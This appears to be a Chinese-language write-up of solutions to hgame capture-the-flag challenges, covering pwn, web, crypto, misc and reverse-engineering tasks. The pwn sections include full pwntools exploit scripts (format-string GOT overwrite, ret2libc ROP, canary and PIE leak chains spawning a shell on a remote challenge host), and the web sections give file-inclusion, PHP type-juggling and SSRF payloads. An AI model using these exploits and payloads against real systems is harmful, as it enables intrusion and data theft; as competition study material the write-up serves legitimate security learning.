Pwn

babyfmt

```
xiaoyuyu@ubuntu:~/ctf_test/hgame$ ./babyfmtt
It's easy to PWN
aaaaaa
aaaaaaxiaoyuyu@ubuntu:~/ctf_test/hgame$ checksec babyfmtt
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/
cache/update to 'never'.
[*] A newer version of pwntools is available on pypi (3.12.1
    Update with: $ pip install -U pwntools
[*] '/home/xiaoyuyu/ctf_test/hgame/babyfmtt'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

发现开了canary，结合题目感觉应该还是格式化字符串漏洞

题目里先看一下有什么可以利用的，可以看到有system和/bin/sh字符串，不错欸，在如下backdoor函数中

```
int backdoor()
{
  return system("/bin/sh");
}
```

那我们要做的就是绕过canary然后改掉rip，劫持程序流程就好咯

看一下main函数，如下

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char format; // [rsp+0h] [rbp-60h]
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init();
  read_n((__int64)&format, 0x58u);
  printf(&format, 88LL);
  return 0;
}
```

可以看到canary的位置以及一上来说出easy to pwn的函数(qtmd)，然后是一个read_n函数，然后是一个格式化字符串漏洞，init函数没看出来什么，再分析一下read_n函数，如下

```
unsigned __int64 __fastcall read_n(__int64 a1, unsigned int a2)
{
  unsigned __int64 result; // rax
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( i > a2 )                                   // limit is 88
      break;
    if ( read(0, (void *)((signed int)i + a1), 1uLL) < 0 )// read wrong
      exit(-1);
    if ( *(_BYTE *)((signed int)i + a1) == '\n' )// line to the end
    {
      result = (signed int)i + a1;
      *(_BYTE *)result = 0;
      return result;                                // return 0
    }
  }
  return result;
}                                                   // return length
```

容我三思，这咋利用.....即使泄露的canary，也没办法第二次利用

我一开始的想法是隔空改main函数的返回地址rip，用%n，偏移量还是在gdb里看，但后来发现可以直接改printf的got表，改成我们的后门函数的地址

从韬神那里盗来的，如下，对着改就行了

```
'%{}$n'.format(index)          // 解引用，写入四个字节
'%{}$hn'.format(index)         // 解引用，写入两个字节
'%{}$hhn'.format(index)        // 解引用，写入一个字节
'%{}$lln'.format(index)        // 解引用，写入八个字节
```

handsomeAris

```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s[8]; // [rsp+0h] [rbp-20h]
  __int64 v5; // [rsp+8h] [rbp-18h]
  __int64 v6; // [rsp+10h] [rbp-10h]
  __int64 v7; // [rsp+18h] [rbp-8h]

  sub_400706();
  *(_QWORD *)s = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  puts(s2);
  puts("Repeat me!");
  fgets(s, 96, stdin);
  if ( s[strlen(s) - 1] == '\n' )
    s[strlen(s) - 1] = 0;
  if ( strcmp(s, s2) )
  {
    puts("You are not so Aris..");
    exit(1);
  }
  puts("Great! Power upupuppp!");
  return 0LL;
}
```

谢天谢地，没有canary，但是没给libc文件，也没有可以用的辅助我们泄露地址的函数，Dynelf函数了解一下

然后我们需要的/bin/sh字符串尝试着用fgets函数写入可读写的地址

但我DnyELF失败了，可以大概试一下主流的libc相关的偏移量，直接算偏移量倒是成功了，就是个基本的rop了哟，和bin培训的最后一题其实基本一样

exp

```
from pwn import *
context.log_level = 'debug'
elf = ELF("./handsomeariis")

local = 0
if local:
    p = process("./handsomeariis")
    # gdb.attach(p,'''b * 0x4007D7''')
else:
    p = remote('118.24.3.214',11002)

p_rdi = 0x0400873
_start = 0x400610

leak = "Aris so handsoooome!\x00".ljust(0x20,'a') + 'a'*0x08
leak += p64(p_rdi)
leak += p64(elf.got["puts"])
```

```
leak += p64(elf.plt["puts"])
leak += p64(_start)

p.sendlineafter("Repeat me!\n",leak)
puts = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
success("puts->{:#x}".format(puts))
libc_base = puts - 0x06f690
system = libc_base + 0x045390
str_binsh = libc_base + 0x18cd57

rop = "Aris so handsoooome!\x00".ljust(0x20,'a') + 'a'*0x08
rop += p64(p_rdi)
rop += p64(str_binsh)
rop += p64(system)
rop += p64(_start)
p.sendlineafter("Repeat me!\n",rop)

p.interactive()
```

薯片拯救世界2

这种题目真的是很刺激

```
xiaoyuyu@ubuntu:~/ctf_test/vidar$ checksec ./CSTW2
[*] '/home/xiaoyuyu/ctf_test/vidar/CSTW2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

canary开启了，分析程序流程，有system，有/bin/sh，还不错，在backdoor函数被调用，main函数如下

```
{
  signed int i; // [rsp+8h] [rbp-28h]
  int v5; // [rsp+Ch] [rbp-24h]

  init();
  puts("Ch1p Save The World--Chapter 2");
  getchar();
  puts("传说勇者薯片有24个老婆，各自拥有不同的能力");
  getchar();
  puts("在薯片沉睡的时候，为了让24个老婆的能力也一起流传下来");
  getchar();
  puts("大祭司oyiadin使用魔法将薯片的老婆封印在了他的体内");
  getchar();
  puts("但由于各种限制，薯片只能选择他最喜欢的5个了");
  getchar();
  puts("没错...这5个人的名字就是——");                          // story
  for ( i = 1; i <= 5; ++i )                          // 5 loop
  {
    printf("被封印的第%d个老婆是薯片的第几个老婆?\n", (unsigned int)i);
    putchar('>');
    v5 = read_int() - 1;                              // range[1,24]
    if ( v5 <= 23 )
    {
      puts("她的名字是?");
      putchar('>');
      read_n(16LL * v5 + 0x6020E0, 0x10u);            // read in a dword
      num[i - 1] = v5;                                // restore the index
    }
    else
    {
      puts("请从1-24中选择一个");
      --i;
    }
  }
  printf(
    "对，被封印的老婆们就是%s,%s,%s,%s和%s\n",
    16LL * num[0] + 0x6020E0,                         // num[0] = 0x6020C0
    (char *)&names + 16 * dword_6020C4,
    (char *)&names + 16 * dword_6020C8,
    (char *)&names + 16 * dword_6020CC,
    (char *)&names + 16 * dword_6020D0);
  puts("今天，正是勇者薯片和他五个最爱的妻子团聚的时刻...");
  return 0;
}
```

仔细分析了一下，其实就是把你读入的五个数据读出来，就是你说chip老婆是谁就是谁（想得到美）

这一看我其实没看出什么漏洞，但毕竟里面有一个写入数据的操作，还是在bss字段上，不能放弃希望233

然后在尝试下，我好像发现了点问题，如下。貌似通过read_n可以修改got表的内容，改成后门就好

exp：

```python
from pwn import *
cn = process('./CSTW2')
cn.recvuntil('Chapter 2')
cn.send('a'*5)
cn.recvuntil('老婆?\n')
cn.sendline('-9')
cn.recvuntil('字是?')
cn.sendline(p64(0x000000000040096A))
# 一大堆回车
cn.interactive()
```

Steins;Gate2

```
xiaoyuyu@ubuntu:~/ctf_test/vidar$ checksec gate2
[*] '/home/xiaoyuyu/ctf_test/vidar/gate2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

这题有个特点，开启了PIE

`PIE(position-independent executable，地址无关可执行文件)`技术就是一个针对代码段.text, 数据段.*data，.bss等固定地址的一个防护技术。同ASLR一样，应用了PIE的程序会在每次加载时都变换加载基址，从而使位于程序本身的gadget也失效。

其余流程和Gate1的流程差不多，还是利用格式化字符串漏洞，关键点就是bss字段基地址不固定，不像Gate1这么好找了，题目同样是留了一个system函数

绕过PIE防护的手段我没试过，要去慢慢学了，当然啦如果石头门1凉了，那就要先把石头门1做出来才行，毕竟还是要绕过canary的

链接：https://bbs.ichunqiu.com/thread-43627-1-1.html

第一招是0x01 partial write bypass PIE，我感觉和例子相比，我们要爆破的东西有点多

第二招是0x02 泄露地址bypass PIE，目前没有发现给我们泄露libc的机会

第三招是0x03 使用vdso/vsyscall bypass PIE，我记得aris的ubantu版本的确是16.04，别问，问就是复制过他的虚拟机，好像的确是可以这样，但是第二周出感觉有点不当人，虽然经过了week1以及做了chip的pwn题后，我对他的认识有了翻天覆地的变化

最后我还是打算用第一种办法，但是我们要用到一个技能叫做Onegadget，大家可以百度一下，这个我也是这周才知道的

然后我又失败了，对不起，我太菜了，哭了，然后我们从概率学上分析一下(xia cai)

```
xiaoyuyu@ubuntu:~/ctf_test/hgame$ ldd ./gate2 | grep libc
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007faea99a6000)
xiaoyuyu@ubuntu:~/ctf_test/hgame$ ldd ./gate2 | grep libc
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb945cfd000)
xiaoyuyu@ubuntu:~/ctf_test/hgame$ ldd ./gate2 | grep libc
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007efc5425e000)
xiaoyuyu@ubuntu:~/ctf_test/hgame$ ldd ./gate2 | grep libc
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f86b12d3000)
xiaoyuyu@ubuntu:~/ctf_test/hgame$ ldd ./gate2 | grep libc
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5518c3c000)
xiaoyuyu@ubuntu:~/ctf_test/hgame$ ldd ./gate2 | grep libc
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f54a493c000)
```

观众朋友们大家好，不难发现0x7f开头的概率特别高

随即地址共8位字符，我们开头就当他是0x7f，那那大概率要爆破pow(16,7)，唉，遥遥无期，但是rdi还是没办法，是的，这是我失败的第五次了

后来最后的想法是通过修改低位地址来修改rip，来重复执行一遍程序，因为canary一直，第二次格式花字符串漏洞的时候就可以用来泄露pie的随机地址了，这次成功了，代码里的代码块我写了注释

exp：

```
#coding=utf8
from pwn import *
import binascii
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./gate2')
    bin = ELF('./gate2')
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
    cn = remote('118.24.3.214',11003)
    bin = ELF('./gate2')
    #libc = ELF('')


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()


#z('disassemble main\nn')
cn.recvuntil('ID:')
cn.sendline('/bin/sh\x00')
cn.recvuntil('world.')
payload=(0x40-0x10)*'a'+p64(0x2333)
cn.send(payload)
```

```
# leak rand num
cn.recvuntil('man.')
payload2='%7$p'
cn.send(payload2)
num=cn.recvuntil('it?')
rand=int(num[:11],16)
pie=int(num[15:16],16) # I find you for a long time, leak pie
print(hex(rand))
pie=str(hex(pie))[2:]
pie=binascii.unhexlify(pie+'9')
print(pie)
payload3=(0x40-0x24)*'a'+p32(0x6666)+(0x40-0x10-0x24+4)*'a'+p32(0x1234+rand)
cn.send(payload3)

#leak canary
cn.recvuntil('Payment of past debts.')
payload4='%11$p'
cn.send(payload4)
#cn.recvline()
canary=cn.recvuntil("To seek the truth of the world.\n")[:-0x46]
canary=int(canary,16)
print(hex(canary))

#rop
payload5='a'*(0x40-0x10)+p64(0x2333)+p64(canary)+'a'*0x08+'\xc0'+pie
cn.send(payload5)

#the second
print(cn.recvuntil('ID:'))
cn.sendline('/bin/sh\x00')
cn.recvuntil('world.')
payload6=(0x40-0x10)*'a'+p64(0x2333)
cn.send(payload6)


#getk rand num
cn.recvuntil('man.')
payload7='%7$p'
cn.send(payload7)
num=cn.recvuntil('it?')
rand=int(num[:11],16)
pie=int(num[15:16],16) # I find you for a long time, leak pie
print(hex(rand))
pie=str(hex(pie))[2:]
pie=binascii.unhexlify(pie+'9')
print(pie)
payload7=(0x40-0x24)*'a'+p32(0x6666)+(0x40-0x10-0x24+4)*'a'+p32(0x1234+rand)
cn.send(payload7)

#leak all pie
cn.recvuntil('Payment of past debts.')
payload8='%13$p'
cn.send(payload8)
```

```
pie=cn.recvuntil("To seek the truth of the world.\n")[:-73]
#print(pie)
pie=int(pie,16)<<12
print(hex(pie))

#getshell
system_addr=pie+0x958
rdi_addr=pie+0xe83
bin_sh=pie+0x202040
payload9='a'*(0x40-
0x10)+p64(0x2333)+p64(canary)+'a'*8+p64(rdi_addr)+p64(bin_sh)+p64(system_addr)
cn.send(payload9)

cn.interactive()
```

Web

easy_php

提示是robots以及代码审计，直接访问easyphp/robots.txt，发现img/index.php，再次访问

发现了四个大字（没看懂），然后就是一段代码，估计就是代码审计

```
<?php
    error_reporting(0);
    $img = $_GET['img'];
    if(!isset($img))
        $img = '1';
    $img = str_replace('../', '', $img);
    include_once($img.".php");
    highlight_file(__FILE__);
```

具体就是一个替换，我去搜了一个例子，如下

```
<?php
echo str_replace("world","Shanghai","Hello world!");
?>
```

这里把字符串 "Hello world!" 中的字符 "world" 替换为 "Shanghai"

最后include_once($img.".php"); 打开并执行这个文件

可以把指定php文件的源码以base64方式编码并被显示出来，百度链接：https://blog.csdn.net/qq_29419013/article/details/81201494

看完这个链接里的例子就会构造payload了，外加最后替换一下，payload如下

http://118.24.25.25:9999/easyphp/img/index.php?img=php://filter/read=convert.base64-encode/resource=..././flag

之后会获得一传base64，解码得

```
b'<?php\n    //$flag = \'hgame{You_4re_So_gOod}\';\n
echo "maybe_you_should_think_think";\n'
```

PHP Is The Best Language

提示是var_dump了解一下

源码如下

```php
<?php

include 'secret.php';

#echo $flag;
#echo $secret;

if (empty($_POST['gate']) || empty($_POST['key'])) {
    highlight_file(__FILE__);
    exit;
}

if (isset($_POST['door'])){
    $secret = hash_hmac('sha256', $_POST['door'], $secret);
}

$gate = hash_hmac('sha256', $_POST['key'], $secret);

if ($gate !== $_POST['gate']) {
    echo "Hacker GetOut!!";
    exit;
}

if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) {
    echo "Wow!!!";
    echo "</br>";
    echo $flag;
}
else {
    echo "Hacker GetOut!!";
}

?>
```

感觉像代码审计，有一个sha256和md5

要执行sha256的话，我这里不知道secret，这里有一个知识点让人意外，传入Array()的话而不是白能量的话，sha256的hash_hmac会返回false，这点可以利用

然后接下来我去搜了一下var dump是啥，解释如下

此函数显示关于一个或多个表达式的结构信息，包括表达式的类型与值。数组将递归展开值，通过缩进显示其结构。

例子：

```php
<?php
$a = array(1, 2, array("a", "b", "c"));
var_dump($a);
?>
```

output：

```
array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  array(3) {
    [0]=>
    string(1) "a"
    [1]=>
    string(1) "b"
    [2]=>
    string(1) "c"
  }
}
```

那现在secret已经是false，我们只要把key的值弄出来就好

关键就是下面这句：

```php
md5($_POST['key'])+1 == md5(md5($_POST['key']))+1
```

可以造成false==false的情况，然后得到true，我在线测试了一下字符串xiaoyuyu，就会输出都是1

然后计算gate，如下

```php
<?php
$gate = hash_hmac('sha256', 'xiaoyuyu', false);
var_dump($gate);
?>
```

最后payload：

gate=43f086d6b2da8ca1afe2f47163634b57cc9b702c1fd6ee7a5ca816ec995616f0&key=xiaoyuyu&door[]=1

用hackbar post过去，得到hgame{Php_MayBe_Not_Safe}

php技巧

源码如下

```php
<?php
//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
```

```php
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
    die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
    die('step 2 fail');
}
if( $str3 == $str4 ){
    die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
    die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
    die('step 5 fail');
}
if(is_numeric($str5)){
    die('step 6 fail');
}
if ($str5<9999999999){
    die('step 7 fail');
}
if ((string)$str5>0){
    die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
    die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
    die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
    die('step 11 fail');
}
else{
    echo $output;
}
```

也太长了吧，现学php，看到了注释admin.php，路劲?

前两个step，就是字符串不同，但是md5的值相同

我搜到的解释：PHP在处理哈希字符串时，会利用"!="或"=="来对哈希值进行比较，它把每一个以"0E"开头的哈希值都解释为0，所以如果两个不同的密码经过哈希以后，其哈希值都是以"0E"开头的，那么PHP将会认为他们相同，都是0。

所以我们需要两个md5之后是0e开头的字符串：s878926199a；s155964671a

传入?str1=s155964671a&str2=s878926199a&str3=s155964671a&str4=s878926199a之后，显示step 4 fail

因为!==的关系，md5后的字符数串要完全相等，所以只能选择用md5不支持的类型，来得到false=false

当我改成这样之后?str1=s155964671a&str2=s878926199a&str3[]=111&str4[]=123，直接跳到step 7了，神奇

因为str5我们没传，所以是null，但之后要用str5来判断，还是老老实实一步步绕过吧

搜了一下资料：

1.$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组

2.$_SERVER["QUERY_STRING"] 说明：查询(query)的字符串

3.strpos — 查找字符串首次出现的位置，不会对url解码

意思就是请求里面一定要有H_game字符串(赋值给str5)，而且是urlencode之后的

目前payload：

?str1=s155964671a&str2=s878926199a&str3[]=111&str4[]=123&%48%5f%67%61%6d%65[]=111

貌似数组真的很厉害，这里原理我倒不是很清楚，但数组的确可以绕过，直接到step 9，类似于无法比较的东西，就跟NULL >=< NULL结果都是True

step 9：url的host是否为baidu

step 10：url的协议是否为http

但是不会用，去搜一下parse_url

例子：

```php
<?php
$url = 'http://username:password@hostname:9090/path?arg=value#anchor';
var_dump(parse_url($url));
?>
```

output：

```
array(8) {
  ["scheme"]=>
  string(4) "http"        //http
  ["host"]=>
  string(8) "hostname"    //www.baidu.com
  ["port"]=>
  int(9090)
  ["user"]=>
  string(8) "username"     //访问了admin.php之后，知道要是localhost，暂时不知道怎么弄
  ["pass"]=>
  string(8) "password"
  ["path"]=>
  string(5) "/path"       //admin.php
  ["query"]=>
  string(9) "arg=value"
```

```
    ["fragment"]=>
    string(6) "anchor"
  }
```

目前的url：url=http://@www.baidu.com/admin.php

目前payload：

?str1=s155964671a&str2=s878926199a&str3[]=111&str4[]=123&%48%5f%67%61%6d%65[]=111&url=http://@www.baidu.com/admin.php

但是还是不行，应该是那个localhost的问题，毕竟我还没绕过这个问题，只能试试看了，而且我也不知道curl是啥

学习链接：https://www.cnblogs.com/manongxiaobing/p/4698990.html

使用CURL的PHP扩展完成一个HTTP请求的发送一般有以下几个步骤：

1. 初始化连接句柄；
2. 设置CURL选项；
3. 执行并获取结果；
4. 释放VURL连接句柄。

下面的程序片段是使用CURL发送HTTP的典型过程

例子：

```
// 1. 初始化
 $ch = curl_init();
 // 2. 设置选项，包括URL
 curl_setopt($ch,CURLOPT_URL,"http://www.devdo.net");
 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
 curl_setopt($ch,CURLOPT_HEADER,0);
 // 3. 执行并获取HTML文档内容
 $output = curl_exec($ch);
 if($output === FALSE ){
 echo "CURL Error:".curl_error($ch);
 }
 // 4. 释放curl句柄
 curl_close($ch);
```

curl解析的一个符合host格式的字符串，parse_url解析最后一个

payload：

?str1=s155964671a&str2=s878926199a&str3[]=111&str4[]=123&%48%5f%67%61%6d%65[]=111&url=http://user@127.0.0.1:9000@www.baidu.com/admin.php

显示step 11 fail，貌似端口一定要是http访问端口，傻了，吧9000改成80就好

看见代码入下

```
<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
    die('only localhost can see it');
```

```
}
$filename = $_GET['filename']??'';

if (file_exists($filename)) {
    echo "sorry,you can't see it";
}
else{
    echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>
```

感觉第一个php可能有点像吧，第一个是get一个img，这里是get一个file

直接改改看吧.....filename=php://filter/convert.base64-encode/resource=flag.php

出来东西的，我真是个小机灵鬼
PD9waHAgJGZsYWcgPSBoZ2FtZXtUaEVyNF9BcjRfczBtNF9QaHBfVHIxY2tzfSA/Pgo=

```
<?php $flag = hgame{ThEr4_Ar4_s0m4_Php_Tr1cks} ?>
```

Baby_Spider

好像是个数学题，貌似和爬虫有关，40秒30个问题的确复制黏贴弄不过来

数学公式每次输入完token都会变，随机的

作为一个只知道BeautifulSoup的我，受益匪浅，什么selenium啊，chromedriver用起来

链接：

https://www.cnblogs.com/zhaof/p/6953241.html；

https://selenium-python.readthedocs.io/api.html#module-selenium.webdriver.common.action_chains

之后运行着运行着，会改变数字对应的关系，如下

ABCDEFGHIJKLM
NOPQRSTUVWXYZ
abcdefghijklm
nopqrstuvwxyz
0269435871

最后还有个坑不知道为什么，如下(不过这是js，题目要求是python3，我傻了)

```
eval(1617951382615947234)
1617951382615947300
```

并没有输出本身的值，所一在最后十次就直接打开css文件就好，因为div里面依然还是和之前一样的长算式，并不对，小田田在我做出来之后问我怎么做的，无意间发现一个题目的bug，233，无伤大雅，目前已经修好了

脚本：

```
# A simple code for crawling the information of the popular TF-lipsticks
import requests
import re
from time import sleep
from selenium import webdriver
from bs4 import BeautifulSoup

url = 'http://111.231.140.29:10000/'
token = 'x5Xyk2j3OgoX8kOBGOG2mDc6ThgIcCgb'
data = {}
headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) '
                      'Chrome/70.0.3538.77 Safari/537.36'
        }
# number change
change_table = {'1': '0', '2': '2', '3': '6',
          '4': '9', '5': '4', '6': '3',
          '7': '5', '8': '8', '9': '7',
```

```
          '0': '1'}


def change(num):
    flag = ""
    for i in num:
        if i in "1234567890":
            flag += change_table[i]
        else:
            flag += i
    return flag


# register
browser = webdriver.Chrome()
browser.get(url)
browser.find_element_by_class_name("layui-input").send_keys(token)
browser.find_element_by_class_name("layui-btn").click()


def get_ques(source):
    pattern = 'content:"(.*?)=\?"'
    flag = re.search(pattern, source)
    if flag:
        return flag.group(1)
    else:
        return False


for i in range(30):
    if i < 10:  # 前10次
        ques = browser.find_element_by_class_name("question-
container").find_element_by_tag_name("span").text
        result = str(eval(ques[:-2]))  # 把=?去掉
        browser.find_element_by_class_name("layui-input").send_keys(result)
        browser.find_element_by_class_name("layui-btn").click()
    elif i < 20:  # 当中10次
        ques = browser.find_element_by_class_name("question-
container").find_element_by_tag_name("span").text
        ques = change(ques)
        result = str(eval(ques[:-2]))
        browser.find_element_by_class_name("layui-input").send_keys(result)
        browser.find_element_by_class_name("layui-btn").click()
    else:  # 最后10次
        js = 'window.open("http://111.231.140.29:10000/statics/style.css");'
        browser.execute_script(js)
        handles = browser.window_handles
        browser.switch_to.window(handles[1])  # 切换浏览器界面
        ques = get_ques(browser.page_source)  # #browser.page_source是获取网页的全部html
        browser.close()
        browser.switch_to.window(handles[0])
        result = str(eval(ques))
        browser.find_element_by_class_name("layui-input").send_keys(result)
```

```
        browser.find_element_by_class_name("layui-btn").click()

sleep(60)
print("Exit")
browser.quit()
# response = requests.get(url, headers=headers)
# html_doc = response.content
# # print(response.status_code)   #状态码
# # print(response.content.decode("utf-8")) #内容
#
# soup = BeautifulSoup(
#     html_doc,
#     'html.parser',
#     from_encoding='utf-8'  # html文档编码#
# )
#
# TF_type = soup.find_all('a', href=re.compile(r"goods-"))
#
# for tf_type in TF_type:
#     # print(tf_type.name,tf_type['href'],tf_type.get_text())
#     print(tf_type.get_text())
```

Crypto

Vigener

在线解密，结尾有flag，网址：http://68.168.134.3/vigener/

浪漫的足球圣地

就一行密文

```
966A969596A9965996999565A5A59696A5A6A59A9699A599A596A595A599A569A5A99699A56996A596A696A9
96A6A5A696A9A595969AA5A69696A5A99696A595A59AA56A96A9A5A9969AA59A9559
```

一共只有这几种密文：9、6、A、5

如果是两两结合：16种

问了下出题人，他让我百度，我还是有点懵，百度出来浪漫的足球圣地，曼彻斯特

然后搜曼彻斯特，一种曼彻斯特编码，佛了

解码之后的字符串如下

```
6867616D657B3366323465353637353931653963626162326137643266316637343861316434 7D
```

然后转换一下就好，脚本如下

```
s = '6867616D657B3366323465353637353931653963626162326137643266316637343861316434 7D'
flag = ''
for i in range(len(s)//2):
    flag += chr(int((s[2*i] + s[2*i+1]), 16))
    print(flag)
```

Misc

找得到我嘛？小火汁

感觉还是流量分析

wieshark打开，扫了一遍有看到zip

```
81 Request: SIZE /pub/test/secret.zip
64 Response: 213 2016
80 Request: CWD /pub/test/secret.zip
87 Response: 550 Failed to change directory.
```

要把它的数据流拉下来，我找了半天

```
FTP-DATA  1514 FTP Data: 1460 bytes
```

把这个zip拖出来，里面有日志文件，头部是# SSL/TLS secrets log file, generated by NSS

用wirshark解密之后，过滤出http，会发现一个1.tar，里面的文件没有格式，直接HexEditor打开，会发现头部写着flag.jpg，底下不远处有flag

Re

Pro的Python教室(二)

在线反编译pyc文件，代码如下

```
print "Welcome to Processor's Python Classroom Part 2!\n"
print "Now let's start the origin of Python!\n"
print 'Plz Input Your Flag:\n'
enc = raw_input()
len = len(enc)
enc1 = []
enc2 = ''
aaa = 'ioOavquaDb}x2ha4[~ifqZaujQ#'
for i in range(len):                        # 输入的字符串
```

```
    if i % 2 == 0:
        enc1.append(chr(ord(enc[i]) + 1))  # 奇数位偏移量1
        continue
    enc1.append(chr(ord(enc[i]) + 2))      # 偶数位偏移量2

s1 = []
for x in range(3):
    for i in range(len):
        if (i + x) % 3 == 0:               # 012012……
            s1.append(enc1[i])             # 调整顺序:000……222……111……
            continue

enc2 = enc2.join(s1)
if enc2 in aaa:
    print "You 're Right!"
else:
    print "You're Wrong!"
    exit(0)
```

顺序大概理清楚了，脚本如下：

```
aaa = 'ioOavquaDb}x2ha4[~ifqZaujQ#'
print(len(aaa))
flag = ''
for i in range(9):
    flag += aaa[i] + aaa[i+18] + aaa[i+9]
print(flag)
flag = 'iibof}OqxaZ2vahquauj4aQ[D#~'
n = 1
flag_2 = ''
for i in flag:
    if n % 2 == 1:
        flag_2 += chr(ord(i) % 255 - 1)
    else:
        flag_2 += chr(ord(i) % 255 - 2)
    n += 1
print(flag_2)
```

Pro的Python教室(三&四)

一些在线的pyc都反编译失败，uncompyle也是，看到提示说是byte code，在github上找了个工具**pycdas**还是不错的，这里还百读到了一个python变成byte code的模块dis，好像也很不错，以后可以看看

byte code如下

```
third.pyc (Python 2.7)
[Code]
    File Name: third.py
    Object Name: <module>
    Arg Count: 0
    Locals: 0
    Stack Size: 5
```

```
    Flags: 0x00000040 (CO_NOFREE)
    [Names]
        'string'
        'list'
        'letters'
        'digits'
        'dec'
        'encode'
        'raw_input'
        'enc'
        'lst'
        'reverse'
        'len'
        'llen'
        'range'
        'i'
        'chr'
        'ord'
        'enc2'
        'join'
        'enc3'
    [Var Names]
    [Free Vars]
    [Cell Vars]
    [Constants]
        -1
        None
        '+'
        '/'
        'FcjTCgD1EffEm2rPC3bTyL5Wu2bKBI9KAZrwFgrUygHN'
        [Code]
            File Name: third.py
            Object Name: encode
            Arg Count: 1
            Locals: 9
            Stack Size: 7
            Flags: 0x00000043 (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)
            [Names]
                'format'
                'str'
                'bin'
                'ord'
                'replace'
                'len'
                'join'
                'int'
                'letters'
            [Var Names]
                'input_str'
                'i'
                'str_ascii_list'
                'output_str'
                'equal_num'
```

```
            'temp_list'
            'temp_str'
            'x'
            'temp_str_list'
        [Free Vars]
        [Cell Vars]
        [Constants]
            None
            '{:0>8}'
            '0b'
            ''
            0
            3
            1
            '0'
            8
            6
            12
            18
            2
            4
            '='
            '00000000'
        [Disassembly]
            0        BUILD_LIST              0
            3        LOAD_FAST               0: input_str
            6        GET_ITER
            7        FOR_ITER                51 (to 61)
            10       STORE_FAST              1: i
            13       LOAD_CONST              1: '{:0>8}'
            16       LOAD_ATTR               0: format
            19       LOAD_GLOBAL             1: str
            22       LOAD_GLOBAL             2: bin
            25       LOAD_GLOBAL             3: ord
            28       LOAD_FAST               1: i
            31       CALL_FUNCTION           1
            34       CALL_FUNCTION           1
            37       CALL_FUNCTION           1
            40       LOAD_ATTR               4: replace
            43       LOAD_CONST              2: '0b'
            46       LOAD_CONST              3: ''
            49       CALL_FUNCTION           2
            52       CALL_FUNCTION           1
            55       LIST_APPEND             2
            58       JUMP_ABSOLUTE           7
            61       STORE_FAST              2: str_ascii_list
            64       LOAD_CONST              3: ''
            67       STORE_FAST              3: output_str
            70       LOAD_CONST              4: 0
            73       STORE_FAST              4: equal_num
            76       SETUP_LOOP              264 (to 343)
            79       LOAD_FAST               2: str_ascii_list
            82       POP_JUMP_IF_FALSE       342
```

```
85      LOAD_FAST                2: str_ascii_list
88      LOAD_CONST               5: 3
91      SLICE_2
92      STORE_FAST               5: temp_list
95      LOAD_GLOBAL              5: len
98      LOAD_FAST                5: temp_list
101     CALL_FUNCTION            1
104     LOAD_CONST               5: 3
107     COMPARE_OP               3 (!=)
110     POP_JUMP_IF_FALSE        164
113     SETUP_LOOP               48 (to 164)
116     LOAD_GLOBAL              5: len
119     LOAD_FAST                5: temp_list
122     CALL_FUNCTION            1
125     LOAD_CONST               5: 3
128     COMPARE_OP               0 (<)
131     POP_JUMP_IF_FALSE        160
134     LOAD_FAST                4: equal_num
137     LOAD_CONST               6: 1
140     INPLACE_ADD
141     STORE_FAST               4: equal_num
144     LOAD_FAST                5: temp_list
147     LOAD_CONST               15: '00000000'
150     BUILD_LIST               1
153     INPLACE_ADD
154     STORE_FAST               5: temp_list
157     JUMP_ABSOLUTE            116
160     POP_BLOCK
161     JUMP_FORWARD             0 (to 164)
164     LOAD_CONST               3: ''
167     LOAD_ATTR                6: join
170     LOAD_FAST                5: temp_list
173     CALL_FUNCTION            1
176     STORE_FAST               6: temp_str
179     BUILD_LIST               0
182     LOAD_CONST               4: 0
185     LOAD_CONST               9: 6
188     LOAD_CONST               10: 12
